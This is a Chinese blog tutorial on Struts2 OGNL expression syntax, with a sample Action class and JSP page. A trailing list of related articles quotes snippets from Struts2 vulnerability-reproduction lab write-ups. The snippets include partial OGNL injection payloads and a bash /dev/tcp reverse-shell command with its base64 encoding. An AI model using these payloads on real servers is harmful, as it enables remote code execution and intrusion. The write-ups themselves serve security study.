lcpstyle
lcpstyle

Struts2中的OGNL详解

首先了解下OGNL的概念：

OGNL是Object-Graph Navigation Language的缩写，全称为对象图导航语言，是一种功能强大的表达式语言，它通过简单一致的语法，可以任意存取对象的属性或者调用对象的方法，能够遍历整个对象的结构图，实现对象属性类型的转换等功能。

此外，还得先需弄懂OGNL的一些知识：

 

1.OGNL表达式的计算是围绕OGNL上下文进行的。
OGNL上下文实际上就是一个Map对象，由ognl.OgnlContext类表示。它里面可以存放很多个JavaBean对象。它有一个上下文根对象。
上下文中的根对象可以直接使用名来访问或直接使用它的属性名访问它的属性值。否则要加前缀“#key”。

 

 

 

2.Struts2的标签库都是使用OGNL表达式来访问ActionContext中的对象数据的。如：<s:propertyvalue="xxx"/>。

 

 

 

3.Struts2将ActionContext设置为OGNL上下文，并将值栈作为OGNL的根对象放置到ActionContext中。

 

 

 

4.值栈(ValueStack) ：
可以在值栈中放入、删除、查询对象。访问值栈中的对象不用“#”。
Struts2总是把当前Action实例放置在栈顶。所以在OGNL中引用Action中的属性也可以省略“#”。
 
5.调用ActionContext的put(key,value)放入的数据，需要使用#访问。

OGNL中重要的3个符号：#、%、$:

#、%和$符号在OGNL表达式中经常出现，而这三种符号也是开发者不容易掌握和理解的部分，需要时间的积累才渐渐弄清楚……
1．#符号

#符号的用途一般有三种。

— 访问非根对象属性，例如#session.msg表达式，由于Struts 2中值栈被视为根对象，所以访问其他非根对象时，需要加#前缀。实际上，#相当于ActionContext. getContext()；#session.msg表达式相当于ActionContext.getContext().getSession(). getAttribute("msg")。

— 用于过滤和投影（projecting）集合，如persons.{?#this.age>25}，persons.{?#this.name=='pla1'}.{age}[0]。

— 用来构造Map，例如示例中的#{'foo1':'bar1','foo2':'bar2'}。

2．%符号

%符号的用途是在标志的属性为字符串类型时，计算OGNL表达式的值，这个类似js中的eval，很暴力。

3．$符号

$符号主要有两个方面的用途。

— 在国际化资源文件中，引用OGNL表达式，例如国际化资源文件中的代码：reg.agerange=国际化资源信息：年龄必须在${min}同${max}之间。

— 在Struts 2框架的配置文件中引用OGNL表达式，例如：

 

  1. <validators>
  2. <fieldname="intb">
  3. <field-validatortype="int">
  4. <paramname="min">10</param>
  5. <paramname="max">100</param>
  6. <message>BAction-test校验：数字必须为${min}为${max}之间！</message>
  7. </field-validator>
  8. </field>
  9. </validators>

 

下面通过代码对OGNL有更深的了解：

action类OgnlAction.java：
  1. packagecom.tjcyjd.test.action;
  3. importjava.util.Date;
  4. importjava.util.LinkedList;
  5. importjava.util.List;
  7. importjavax.servlet.http.HttpServletRequest;
  9. importorg.apache.struts2.ServletActionContext;
  10. importorg.apache.struts2.convention.annotation.Action;
  11. importorg.apache.struts2.convention.annotation.Namespace;
  12. importorg.apache.struts2.convention.annotation.ParentPackage;
  13. importorg.apache.struts2.convention.annotation.Result;
  14. importorg.apache.struts2.convention.annotation.Results;
  15. importorg.springframework.stereotype.Controller;
  17. importcom.opensymphony.xwork2.ActionContext;
  18. importcom.opensymphony.xwork2.ActionSupport;
  20. @Controller
  21. @Namespace("/test")
  22. @ParentPackage("struts-default")
  23. @Results({@Result(name="success",location="/other_test/showognl.jsp"),
  24. @Result(name="fail",location="/bbs/admin_login.jsp"),
  25. @Result(name="input",location="/bbs/admin_login.jsp")})
  26. publicclassOgnlActionextendsActionSupport{
  27. privatestaticfinallongserialVersionUID=-1494290883433357310L;
  28. privateList<Person>persons;
  30. @Action("ognlTest")
  31. publicStringognlTest()throwsException{
  32. //获得ActionContext实例，以便访问ServletAPI
  33. ActionContextctx=ActionContext.getContext();
  34. //存入application
  35. ctx.getApplication().put("msg","application信息");
  36. //保存session
  37. ctx.getSession().put("msg","seesion信息");
  38. //保存request信息
  39. HttpServletRequestrequest=ServletActionContext.getRequest();
  40. request.setAttribute("msg","request信息");
  41. //为persons赋值
  42. persons=newLinkedList<Person>();
  43. Personperson1=newPerson();
  44. person1.setName("pla1");
  45. person1.setAge(26);
  46. person1.setBirthday(newDate());
  47. persons.add(person1);
  49. Personperson2=newPerson();
  50. person2.setName("pla2");
  51. person2.setAge(36);
  52. person2.setBirthday(newDate());
  53. persons.add(person2);
  55. Personperson3=newPerson();
  56. person3.setName("pla3");
  57. person3.setAge(16);
  58. person3.setBirthday(newDate());
  59. persons.add(person3);
  61. returnSUCCESS;
  63. }
  65. publicList<Person>getPersons(){
  66. returnpersons;
  67. }
  69. publicvoidsetPersons(List<Person>persons){
  70. this.persons=persons;
  71. }
  72. }

jsp页面showognl.jsp：
  1. <%@pagelanguage="java"contentType="text/html;charset=utf-8"pageEncoding="utf-8"%>
  3. <%@taglibprefix="s"uri="/struts-tags"%>
  4. <!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  6. <htmlxmlns="http://www.w3.org/1999/xhtml">
  8. <head>
  10. <title>Struts2OGNL演示</title>
  12. </head>
  14. <body>
  16. <h3>访问OGNL上下文和Action上下文</h3>
  18. <!-使用OGNL访问属性值-->
  20. <p>parameters:<s:propertyvalue="#parameters.msg"/></p>
  22. <p>request.msg:<s:propertyvalue="#request.msg"/></p>
  24. <p>session.msg:<s:propertyvalue="#session.msg"/></p>
  26. <p>application.msg:<s:propertyvalue="#application.msg"/></p>
  28. <p>attr.msg:<s:propertyvalue="#attr.msg"/></p>
  30. <hr/>
  32. <h3>用于过滤和投影(projecting)集合</h3>
  34. <p>年龄大于20</p>
  36. <ul>
  38. <!-判断年龄-->
  40. <s:iteratorvalue="persons.{?#this.age>20}">
  42. <li><s:propertyvalue="name"/>-年龄：<s:propertyvalue="age"/></li>
  44. </s:iterator>
  46. </ul>
  48. <p>姓名为pla1的年龄:<s:propertyvalue="persons.{?#this.name=='pla1'}.{age}[0]"/></p>
  50. <hr/>
  52. <h3>构造Map</h3>
  54. <s:setname="foobar"value="#{'foo1':'bar1','foo2':'bar2'}"/>
  56. <p>Thevalueofkey"foo1"is<s:propertyvalue="#foobar['foo1']"/></p>
  58. <hr/>
  60. <h4>%符号的用法</h4>
  62. <s:setname="foobar"value="#{'foo1':'bar1','foo2':'bar2'}"/>
  64. <p>Thevalueofkey"foo1"is<s:propertyvalue="#foobar['foo1']"/></p>
  66. <p>不使用％：<s:urlvalue="#foobar['foo1']"/></p>
  68. <p>使用％：<s:urlvalue="%{#foobar['foo1']}"/></p>
  70. <hr/>
  71. <%
  72. request.setAttribute("req","requestscope");
  73. request.getSession().setAttribute("sess","sessionscope");
  74. request.getSession().getServletContext().setAttribute("app",
  75. "aplicationscope");
  76. %>
  77. 1.通过ognl表达式获取属性范围中的值
  78. <br>
  79. <s:propertyvalue="#request.req"/>
  80. <br/>
  81. <s:propertyvalue="#session.sess"/>
  82. <br/>
  83. <s:propertyvalue="#application.app"/>
  84. <br/>
  85. <hr>
  87. 2.通过<spanstyle="background-color:#fafafa;">ognl表达式创建list集合，并且遍历出集合中的值
  88. <br>
  89. <s:setname="list"value="{'eeeee','ddddd','ccccc','bbbbb','aaaaa'}"></s:set>
  90. <s:iteratorvalue="#list"var="o">
  91. <!--${o}<br/>-->
  92. <s:property/>
  93. <br/>
  94. </s:iterator>
  95. <br/>
  96. <hr>
  98. 3.通过ognl表达式创建Map集合，并且遍历出集合中的值
  99. <br>
  100. <s:setname="map"
  101. value="#{'1':'eeeee','2':'ddddd','3':'ccccc','4':'bbbbb','5':'aaaaa'}"></s:set>
  102. <s:iteratorvalue="#map"var="o">
  103. <!--${o.key}->${o.value}<br/>-->
  104. <!--<s:propertyvalue="#o.key"/>-><s:propertyvalue="#o.value"/><br/>-->
  105. <s:propertyvalue="key"/>-><s:propertyvalue="value"/>
  106. <br/>
  107. </s:iterator>
  108. <br/>
  109. <hr>
  110. 4.通过ognl表达式进行逻辑判断
  111. <br>
  112. <s:iftest="'aa'in{'aaa','bbb'}">
  113. aa在集合{'aaa','bbb'}中；
  114. </s:if>
  115. <s:else>
  116. aa不在集合{'aaa','bbb'}中；
  117. </s:else>
  118. <br/>
  119. <s:iftest="#request.reqnotin#list">
  120. 不在集合list中；
  121. </s:if>
  122. <s:else>
  123. 在集合list中；
  124. </s:else>
  125. <br/>
  126. <hr>
  128. 5.通过ognl表达式的投影功能进行数据筛选
  129. <br>
  130. <s:setname="list1"value="{1,2,3,4,5}"></s:set>
  131. <s:iteratorvalue="#list1.{?#this>2}"var="o">
  132. <!--#list.{?#this>2}：在list1集合迭代的时候，从中筛选出当前迭代对象>2的集合进行显示-->
  133. ${o}<br/>
  134. </s:iterator>
  135. <br/>
  136. <hr>
  137. 6.通过ognl表达式访问某个类的静态方法和值
  138. <br>
  139. <s:propertyvalue="@java.lang.Math@floor(32.56)"/>
  141. <s:propertyvalue="@com.rao.struts2.action.OGNL1Action@aa"/>
  142. <br/>
  143. <br/>
  144. <hr>
  145. 7.ognl表达式迭代标签详细
  146. <br>
  147. <s:setname="list2"
  148. value="{'aa','bb','cc','dd','ee','ff','gg','hh','ii','jj'}"></s:set>
  149. <tableborder="1">
  150. <tr>
  151. <td>索引</td>
  152. <td>值</td>
  153. <td>奇？</td>
  154. <td>偶？</td>
  155. <td>首？</td>
  156. <td>尾？</td>
  157. <td>当前迭代数量</td>
  158. </tr>
  159. <s:iteratorvalue="#list2"var="o"status="s">
  160. <trbgcolor="<s:iftest="#s.even">pink</s:if>">
  161. <td>
  162. <s:propertyvalue="#s.getIndex()"/>
  163. </td>
  164. <td>
  165. <s:property/>
  166. </td>
  167. <td>
  168. <s:iftest="#s.odd">Y</s:if>
  169. <s:else>N</s:else>
  170. </td>
  171. <td>
  172. <s:iftest="#s.even">Y</s:if>
  173. <s:else>N</s:else>
  174. </td>
  175. <td>
  176. <s:iftest="#s.first">Y</s:if>
  177. <s:else>N</s:else>
  178. </td>
  179. <td>
  180. <s:iftest="#s.isLast()">Y</s:if>
  181. <s:else>N</s:else>
  182. </td>
  183. <td>
  184. <s:propertyvalue="#s.getCount()"/>
  185. </td>
  186. </tr>
  187. </s:iterator>
  188. </table>
  189. <br>
  190. <hr>
  193. 8.ognl表达式:if/elseif/else详细<br>
  194. <%request.setAttribute("aa",0);%>
  195. <s:iftest="#request.aa>=0&&#request.aa<=4">
  196. 在0-4之间；
  197. </s:if>
  198. <s:elseiftest="#request.aa>=4&&#request.aa<=8">
  199. 在4-8之间；
  200. </s:elseif>
  201. <s:else>
  202. 大于8；
  203. </s:else>
  204. <br>
  205. <hr>
  206. 9.ognl表达式:url详细<br>
  207. <%request.setAttribute("aa","sss");%>
  208. <s:urlaction="testAction"namespace="/aa/bb">
  209. <s:paramname="aa"value="#request.aa"></s:param>
  210. <s:paramname="id">100</s:param>
  211. </s:url>
  212. <br/>
  213. <s:setname="myurl"value="'http://www.baidu.com'"></s:set>
  214. value以字符处理：<s:urlvalue="#myurl"></s:url><br>
  215. value明确指定以ognl表达式处理:<s:urlvalue="%{#myurl}"></s:url>
  216. <br>
  217. <hr>
  218. 10.ognl表达式:checkboxlist详细<br>
  219. 1>.list生成；~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>
  220. name:checkboxlist的名字<br>
  221. list:checkboxlist要显示的列表<br>
  222. value:checkboxlist默认被选中的选项,checkedchecked=checked<br>
  223. <s:checkboxlistname="checkbox1"list="{'上网','看书','爬山','游泳','唱歌'}"value="{'上网','看书'}"></s:checkboxlist>
  224. <br>
  225. 以上生成代码：<br>
  226. <xmp>
  227. <inputtype="checkbox"name="checkbox1"value="上网"id="checkbox1-1"checked="checked"/>
  228. <labelfor="checkbox1-1"class="checkboxLabel">上网</label>
  229. <inputtype="checkbox"name="checkbox1"value="看书"id="checkbox1-2"checked="checked"/>
  230. <labelfor="checkbox1-2"class="checkboxLabel">看书</label>
  231. <inputtype="checkbox"name="checkbox1"value="爬山"id="checkbox1-3"/>
  232. <labelfor="checkbox1-3"class="checkboxLabel">爬山</label>
  233. <inputtype="checkbox"name="checkbox1"value="游泳"id="checkbox1-4"/>
  234. <labelfor="checkbox1-4"class="checkboxLabel">游泳</label>
  235. <inputtype="checkbox"name="checkbox1"value="唱歌"id="checkbox1-5"/>
  236. <labelfor="checkbox1-5"class="checkboxLabel">唱歌</label>"
  237. </xmp>
  238. 2>.Map生成；~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>
  239. name:checkboxlist的名字<br>
  240. list:checkboxlist要显示的列表<br>
  241. listKey:checkbox的value的值<br>
  242. listValue:checkbox的lablel(显示的值)<br>
  243. value:checkboxlist默认被选中的选项,checkedchecked=checked<br>
  244. <s:checkboxlistname="checkbox2"list="#{1:'上网',2:'看书',3:'爬山',4:'游泳',5:'唱歌'}"listKey="key"listValue="value"value="{1,2,5}"></s:checkboxlist>
  245. <br>
  246. 以上生成代码：<br>
  247. <xmp>
  248. <inputtype="checkbox"name="checkbox2"value="1"id="checkbox2-1"checked="checked"/>
  249. <labelfor="checkbox2-1"class="checkboxLabel">上网</label>
  250. <inputtype="checkbox"name="checkbox2"value="2"id="checkbox2-2"checked="checked"/>
  251. <labelfor="checkbox2-2"class="checkboxLabel">看书</label>
  252. <inputtype="checkbox"name="checkbox2"value="3"id="checkbox2-3"/>
  253. <labelfor="checkbox2-3"class="checkboxLabel">爬山</label>
  254. <inputtype="checkbox"name="checkbox2"value="4"id="checkbox2-4"/>
  255. <labelfor="checkbox2-4"class="checkboxLabel">游泳</label>
  256. <inputtype="checkbox"name="checkbox2"value="5"id="checkbox2-5"checked="checked"/>
  257. <labelfor="checkbox2-5"class="checkboxLabel">唱歌</label>
  258. </xmp>
  259. <hr>
  260. </body>
  261. </html>

总结OGNL的使用方法：

访问属性

名字属性获取:<s:property value="user.username"/><br>

地址属性获取:<s:property value="user.address.addr"/><br>

访问方法

调用值栈中对象的普通方法：<s:property value="user.get()"/><br>

访问静态属性和方法

调用Action中的静态方法：<s:property value="@struts.action.LoginAction@get()"/>

调用JDK中的类的静态方法：<s:property value="@java.lang.Math@floor(44.56)"/><br>

调用JDK中的类的静态方法(同上)：<s:property value="@@floor(44.56)"/><br>

调用JDK中的类的静态方法：<s:property value="@java.util.Calendar@getInstance()"/><br>

调用普通类中的静态属性：<s:property value="@struts.vo.Address@TIPS"/><br>

访问构造方法

调用普通类的构造方法:<s:property value="new struts.vo.Student('李晓红' , '美女' , 3 , 25).username"/>

 

1.5.访问数组

获取List:<s:property value="testList"/><br>

获取List中的某一个元素(可以使用类似于数组中的下标获取List中的内容):

<s:property value="testList[0]"/><br>

获取Set:<s:property value="testSet"/><br>

获取Set中的某一个元素(Set由于没有顺序，所以不能使用下标获取数据):

<s:property value="testSet[0]"/><br>×

获取Map:<s:property value="testMap"/><br>

获取Map中所有的键:<s:property value="testMap.keys"/><br>

获取Map中所有的值:<s:property value="testMap.values"/><br>

获取Map中的某一个元素(可以使用类似于数组中的下标获取List中的内容):

<s:property value="testMap['m1']"/><br>

获取List的大小:<s:property value="testSet.size"/><br>

 

访问集合–投影、选择(? ^ $)

利用选择获取List中成绩及格的对象:<s:property value="stus.{?#this.grade>=60}"/><br>

利用选择获取List中成绩及格的对象的username:

<s:property value="stus.{?#this.grade>=60}.{username}"/><br>

利用选择获取List中成绩及格的第一个对象的username:

<s:property value="stus.{?#this.grade>=60}.{username}[0]"/><br>

利用选择获取List中成绩及格的第一个对象的username:

<s:property value="stus.{^#this.grade>=60}.{username}"/><br>

利用选择获取List中成绩及格的最后一个对象的username:

<s:property value="stus.{$#this.grade>=60}.{username}"/><br>

利用选择获取List中成绩及格的第一个对象然后求大小:

<s:property value="stus.{^#this.grade>=600}.{username}.size"/><br>

集合的伪属性

OGNL能够引用集合的一些特殊的属性,这些属性并不是JavaBeans模式,例如size(),length()等等.当表达式引用这些属性时,OGNL会调用相应的方法,这就是伪属性.

集合

伪属性

Collection(inherited by Map, List & Set)

size ,isEmpty

List

iterator

Map

keys , values

Set

iterator

Iterator

next , hasNext

Enumeration

next , hasNext , nextElement , hasMoreElements

 

Lambda:[…]

格式：:[…]

使用Lambda表达式计算阶乘:

<s:property value="#f = :[#this==1?1:#this*#f(#this-1)] , #f(4)"/><br>

OGNL中#的使用

#可以取出堆栈上下文中的存放的对象.

名称

作用

例子

parameters

包含当前HTTP请求参数的Map

#parameters.id[0]作用相当于

request.getParameter("id")

request

包含当前HttpServletRequest的属性（attribute)的Map

#request.userName相当于

request.getAttribute("userName")

session

包含当前HttpSession的属性（attribute）的Map

#session.userName相当于

session.getAttribute("userName")

application

包含当前应用的ServletContext的属性（attribute）的Map

#application.userName相当于

application.getAttribute("userName")

attr

用于按request > session > application顺序访问其属性（attribute）

  

 

 

 

 

 

 

 

 

 

 

 

 

 

获取Paraments对象的属性：<s:property value="#parameters.username"/>

OGNL中%的使用

用%{}可以取出存在值堆栈中的Action对象,直接调用它的方法.

例如你的Action如果继承了ActionSupport .那么在页面标签中，用%{getText('key')}的方式可以拿出国际化信息.

OGNL中$的使用

“$”有两个主要的用途

l用于在国际化资源文件中，引用OGNL表达式

l在Struts 2配置文件中，引用OGNL表达式

值栈

ValueStack对象。这个对象贯穿整个Action的生命周期（每个Action类的对象实例会拥有一个ValueStack对象）。当 Struts 2接收到一个.action的请求后，会先建立Action类的对象实例，但并不会调用Action方法，而是先将Action类的相应属性放到 ValueStack对象的顶层节点（ValueStack对象相当于一个栈）。

在Action中获得ValueStack对象：ActionContext.getContext().getValueStack()

lTop语法

使用Top获取值栈中的第二个对象:<s:property value="[1].top.对象"/>

lN语法

使用N获取值栈中的第二个对象:<s:property value="[1].对象"/>

l@语法

调用action中的静态方法：<s:property value="@vs1@静态方法"/> vs：值栈1：表示第一个。

你可能感兴趣的:(Ognl,strtus2)

  • MyBatis 学习笔记(4) 动态SQL 张云飞Vir
    1.背景本节讲mybatis应对动态SQL的场景。2.知识动态SQL是指“条件"不固定的SQL，对比于一般的SQL，动态SQL会有一个或者多个条件/参数。比如：场景：查询的时候，如果用户输入了姓名，就按姓名模糊查询；同时又输入了邮箱，就再增加一个条件按姓名+邮箱两个条件查询。传统的拼接SQL很费力，拼接时要确保不能忘记添加必要的空格，还要注意去掉列表最后一个列名的逗号。借助功能强大的基于OGNL的
  • MyBatis＜if＞标签判断字符串相等写法 都旭宝 mybatis
    mybatis映射文件中，if标签判断字符串相等，两种方式：因为mybatis映射文件，是使用的ognl表达式，所以在判断字符串sex变量是否是字符串Y的时候，1.注意：不能使用and1=1因为mybatis会把’Y’解析为字符，java是强类型语言，所以不能这样写。
  • Mybatis的XML文件中＜if＞标签内的判断语句equals的坑 家乡的落日 工作学习问题记录mybatis
    Mybatis中执行SQL语句：假如代码中Stringname=“B”;在Mybatis的XML文件中有如下判断：--返回false--返回true--返回true可能是因为OGNL对单字符的识别当成了char类型，而我们代码中是String类型，所以判断成了false。所以在Mybatis的XML文件中判断字符串是否相等，建议使用test='name!=nullandname.equals("B
  • JAVA Web学习(20)___第14章Struts2基础 岁月静好浅笑安然
    第14章Struts2基础14.1Struts2概述14.1.1理解MVC原理14.1.2Struts2框架的产生14.1.3Struts2的结构体系14.2Struts2入门14.2.1Struts2的获取与放置开发struts项目必须添加的类库文件名称说明struts2-core-2.5.20.jarStruts2的核心类库xwork-core-2.1.6.jarXworkd的核心类库ognl
  • struts2_ognl入门 小漫画ing
    ognl的概述：1、之前在web阶段，学过el表达式，el表达式在jsp中获取域对象中的值。2、ognl也是一种表达式，而这个种表达式的功能更加强大。（1）在struts里面操作只栈数据。（2）一般把OGNL在Struts2操作，和Struts2标签一起使用操作值栈。3、OGNL不是Struts2的一部分，单独项目，经常和Struts2一起使用而已。（1）使用OGNL时候首先导入jar包，Stru
  • Struts2 S2-045漏洞复现 你能拿我咋的 渗透测试漏洞复现strutsjavaweb安全
    1.漏洞概述OGNL是ObjectGraphicNavigationLanguage(对象图导航语言)的缩写，它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。struts2的rce本质都是一样的(除了S2-052以外)，都是Struts2框架执行了恶意用户传进来的OGNL表达式，造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等，只不
  • Mybatis使用动态sql时，参数为0判断test,查询条件的值传入0时，查询条件判断失效的问题 小百菜 javamybatis
    1、判断Integer类型privateIntegerstatus;//状态，0，1，2。andstatus=#{status}当status的值为0的时候，where条件中的sql未正常拼接，即iftest中的条件不成立（false，应该为true才对），sql拼接失效原因：mybatis在预编译sql时，使用OGNL表达式来解析if标签，对于Integer类型属性，在判断不等于''时，会返回'
  • OGNL 虫儿飞ZLEI
    layout:posttitle:OGNLsubtitle:OGNLdate:2018-05-31author:ZLheader-img:img/20180531.jpgcatalog:truetags:-OGNLOGNL（对象视图导航语言）${user.addr.name}这种写法就叫对象视图导航.OGNL不仅仅可以视图导航.支持比EL表达式更加丰富的功能.使用导包在struts2的包中就已经包
  • 备战蓝桥杯---数学基础2 cocoack 蓝桥杯算法笔记c++经验分享
    学了常见的筛法，让我们看个题：首先，我们知道欧拉筛复杂度为nlognlogn,这题可以承受，但是空间上存不了，而如果我们枚举1--n^1/2，复杂度不允许。其实在枚举的方法中，我们只需找出有无在【2，n^1/2]的素数即可。这样，我们就可以用类似打表的形式记入素数。n^1/2差不多3万，有前面的定理可知质数数量差不多几十个，这样子就可以了。下面介绍算数基本定理：任何一个N=p1^c1*p2^c2*
  • 六、动态SQL Class鸣
    if(判断)choose(分支选择)whenotherwisetrimwheresetforeachiftest:判断表达式(OGNL)从参数中取值判断普通的SELECT*FROMusersWHEREuid=#{uid}>")-->anduname=#{uname}andbirthday=#{birthday}封装查询条件Xxx=Xxx-->SELECT*FROMusersWHERE1=
  • BUUCTF-Real-[struts2]s2-001 真的学不了一点。。。 漏洞复现与研究javastruts
    漏洞描述struts2漏洞S2-001是当用户提交表单数据且验证失败时，服务器使用OGNL表达式解析用户先前提交的参数值，%{value}并重新填充相应的表单数据。例如，在注册或登录页面中，如果提交失败，则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析，因此服务器可以直接发送有效载荷来执行命令。漏洞poc验证经过poc验证，我们发现[st
  • Struts2+Spring+Hibernate的工作流程及原理（整理的） 满脑子灵感 SSH框架工作流SSH原理
    Struts2框架一、简介Struts2是一个相当强大的JavaWeb开源框架，是一个基于POJO的Action的MVCWeb框架。它基于当年的WebWork和XWork框架，继承其优点，同时做了相当的改进。1、Struts2基于MVC架构，框架结构清晰，开发流程一目了然，开发人员可以很好的掌控开发的过程。2、使用OGNL进行参数传递。OGNL提供了在Struts2里访问各种作用域的数据的简单方式
  • 墨者学院-Apache Struts2远程代码执行漏洞(S2-007)复现 nohands_noob
    靶场地址：https://www.mozhe.cn/bug/detail/dHlnc25uQ2RXYVhvRnIzNzhYaEFwQT09bW96aGUmozhe漏洞原理：当提交表单中变量的类型出现错误时，进行了错误的字符串拼接，后端会执行OGNL表达式漏洞测试：在年龄中输入非数字类型点击登陆，年龄框的value变成11，证明漏洞存在任意命令执行exp：'+(#_memberAccess["all
  • ASP.NET Core 3.1系列（31）——日志组件NLog的基础使用方法 HerryDong ASP.NETCoreC#ASP.NETCore
    1、前言在生产环境中部署软件时，日志模块是必不可少的。在.NETFramework时代，Log4net是最常用的日志组件，而在.NETCore开发环境下，NLog的使用频率开始大幅提高。下面就来介绍一下NLog的基础使用方法。2、引入NLog新建一个WebAPI工程，使用NuGet引入如下组件：NLogNLog.Web.AspNetCore3、配置文件nlog.config新建一个XML文件，文件
  • Struts2远程代码执行漏洞复现 大象只为你 跟我学网安知识网络安全命令执行漏洞复现
    ★★免责声明★★文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与学习之用，读者将信息做其他用途，由Ta承担全部法律及连带责任，文章作者不承担任何法律及连带责任。1、漏洞介绍Struts2漏洞是一个经典的漏洞系列，根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善，现在想挖掘新的Struts2漏洞会比以前困难很多，因为大部分用户早就修复了历史的高危漏洞。
  • BUUCTF-Real-[struts2]s2-013 真的学不了一点。。。 漏洞复现与研究网络安全安全web安全
    struts2的标签中和都有一个includeParams属性，可以设置成如下值none-URL中不包含任何参数（默认）get-仅包含URL中的GET参数all-在URL中包含GET和POST参数当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。此时或尝试去解析原始请求参数时，会导致OGNL表达式的执行在s2-013中，因为参数的问题导致rc
  • MyBatis映射文件 碧海暮苍梧 MyBatisjavamybatis
    一、映射文件的SQL标签再映射文件中存在9大顶层的sql标签：SQL拼接与操作：select、delete、update、insert、sql(include)缓存：cache、cache-ref参数映射：parameterMap(该标签已被废除，关于参数的映射可以使用行内参数映射)解决映射：resultMap1、OGNL表达式与#{}、${}OGNL表达式的使用它是apache提供的一种表达式语
  • mybatis set遇到坑： BuilderException: Error evaluating expression ‘shr ! = ‘‘ ，shr是关键字！ zz--1111 MyBatismybatis
    updatetableNameshr=#{shr},.........Causedby:org.apache.ibatis.builder.BuilderException:Errorevaluatingexpression'shr!=''andshr！=null'.Cause:org.apache.ibatis.ognl.ExpressionSyntaxException:MalformedOG
  • mybatis if标签判断字符串相等 gaoshan12345678910 mybatismybatisjavatomcat
    mybatisif标签判断字符串相等mybatis映射文件中，if标签判断字符串相等，两种方式：因为mybatis映射文件，是使用的ognl表达式，所以在判断字符串sex变量是否是字符串Y的时候，1.2.注意：不能使用and1=1因为mybatis会把'Y'解析为字符，java是强类型语言，所以不能这样写。
  • mybatis if标签判断字符串相等 特_尼
    mybatis映射文件中，if标签判断字符串相等，两种方式：因为mybatis映射文件，是使用的ognl表达式，所以在判断字符串sex变量是否是字符串Y的时候，第一种方法第二种方法注意：不能使用and1=1因为mybatis会把'Y'解析为字符，java是强类型语言，所以不能这样写。参考文档：https://www.cnblogs.com/westward/p/6910856.html
  • mybatis的动态标签，在实际开发中公共的字段怎么写sql 人帝 mybatissql数据库
    MyBatis的动态SQL是一种强大的机制，可以根据不同的条件生成不同的SQL语句，其中的动态标签包括,,,,,,,等，使得在实际开发中可以更灵活地构建SQL语句。当需要在实际开发中处理公共字段时，可以使用动态标签结合MyBatis的参数和OGNL表达式来处理。下面是一些在实际开发中处理公共字段的示例：1.使用****标签处理公共字段：UPDATEuserusername=#{username},
  • JAVA----Thymeleaf 常用语法 damys JAVAjavaThymeleaf
    变量Thymeleaf的主要作用是把model中的数据渲染到html中model中的变量${...}语法和el表达式差不多，但它是ognl表达式自定义变量script//协议名称varscheme=[[${#request.getScheme()}]];//服务器名称varserverName=[[${#request.getServerName()}]];//服务器端口号varserverPor
  • [漏洞复现]Apache Struts2/S2-015 （CVE-2013-2134） free key 漏洞复现春秋云境靶场Strutsapachestrutsweb安全安全
    一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意OGNL代码，这是与CVE-2013-2135不同的漏洞。二、漏洞复现春秋云境.com进入靶场开始复现构造payload/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_
  • [漏洞复现]Apache Struts2/S2-013 （CVE-2013-1966） free key 漏洞复现春秋云境靶场Strutsapachestrutsjavaweb安全安全
    一、漏洞情况分析2.3.14.2之前的ApacheStruts2允许远程攻击者通过在(1)URL或(2)A标签中使用includeParams属性时未正确处理的特制请求执行任意OGNL代码。二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
  • [漏洞复现]Apache Struts2/S2-015 （CVE-2013-2135） free key Struts春秋云境靶场apachestrutsjavaweb安全安全
    一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意OGNL代码，这会导致OGNL代码被评估两次。二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_member
  • 平衡树详解 一棵油菜花 算法篇算法学习c++数据结构
    更好的阅读体验平衡树是一种二叉查找树，其平衡性使得树的深度在log⁡n\lognlogn以内，增加、删除等操作可以做到O(log⁡n)O(\logn)O(logn).平衡树的实现有多种，本文主要介绍AVLAVLAVL、TreapTreapTreap、FHQTreapFHQ\TreapFHQTreap与SplaySplaySplay.AVL介绍AVLAVLAVL是这些算法中时间复杂度最优秀的，也是码
  • Arthas中ognl表达式使用详解，以及通过ognl表达式获取Spring项目上下文中对象参数信息 kerwin_code javaspringjava后端springboot
    目录前言一、基础操作1.1、使用`ognl`表达式获取静态属性和调用静态方法1.1.1、测试代码1.1.2、获取静态属性`ognl`表达式1.1.3、调用静态方法`ognl`表达式1.2、使用`ognl`表达式操作对象的非静态属性和非静态方法1.2.1、测试代码1.2.2、获取非静态属性`ognl`表达式1.2.3、调用非静态方法`ognl`表达式二、进阶操作2.1、使用`ognl`表达式创建一个
  • Java全栈课程之Mybatis详解——动态SQL 小孙同学1024 Java全栈开发javamybatissql
    什么是动态SQL：根据不同的条件生成不同的SQL语句，利用动态SQL，可以彻底摆脱这种痛苦。如果你之前用过JSTL或任何基于类XML语言的文本处理器，你对动态SQL元素可能会感觉似曾相识。在MyBatis之前的版本中，需要花时间了解大量的元素。借助功能强大的基于OGNL的表达式，MyBatis3替换了之前的大部分元素，大大精简了元素种类，现在要学习的元素种类比原来的一半还要少。ifchoose(w
  • OGNL的基本语法与用法 天一i
